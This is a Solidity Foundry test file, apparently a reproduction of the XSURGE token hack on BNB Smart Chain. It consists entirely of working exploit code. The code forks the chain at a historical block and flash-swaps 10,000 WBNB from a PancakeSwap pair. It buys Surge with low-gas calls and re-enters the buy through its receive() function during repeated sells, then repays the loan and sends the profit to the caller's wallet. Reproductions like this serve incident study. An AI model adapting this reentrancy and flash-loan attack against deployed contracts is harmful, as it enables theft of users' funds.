XSURGE_exp.t.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./interface.sol";

interface IpancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function token0() external view returns (address);

    function token1() external view returns (address);
}

interface Token {
    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract ContractTest is Test {
    IpancakePair ipancake = IpancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
    WBNB wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Surge surge = Surge(0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21);
    address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
    address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
    address public mywallet = msg.sender;
    uint8 public time = 0;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 10_087_723); // fork bsc at block 10087723
    }

    function testExploit() public {
        payable(address(0)).transfer(address(this).balance);
        ipancake.swap(0, 10_000 * 1e18, address(this), "0x00");
        // wbnb.withdraw(wbnb.balanceOf(address(this)));
        // VISR_Balance =  visr.balanceOf(msg.sender);
        //emit log_named_uint("WBNB Balance",wbnb.balanceOf(address(this)));
        emit log_named_uint("Exploit completed, WBNB Balance", wbnb.balanceOf(mywallet));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        wbnb.withdraw(wbnb.balanceOf(address(this)));

        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");

        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));

        wbnb.deposit{value: address(this).balance}();

        wbnb.transfer(Pancake_Pair_Address, 10_030 * 1e18);
        wbnb.transfer(mywallet, wbnb.balanceOf(address(this)));
    }

    receive() external payable {
        if (msg.sender == Surge_Address && time < 6) {
            (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");

            time++;
        }
    }
}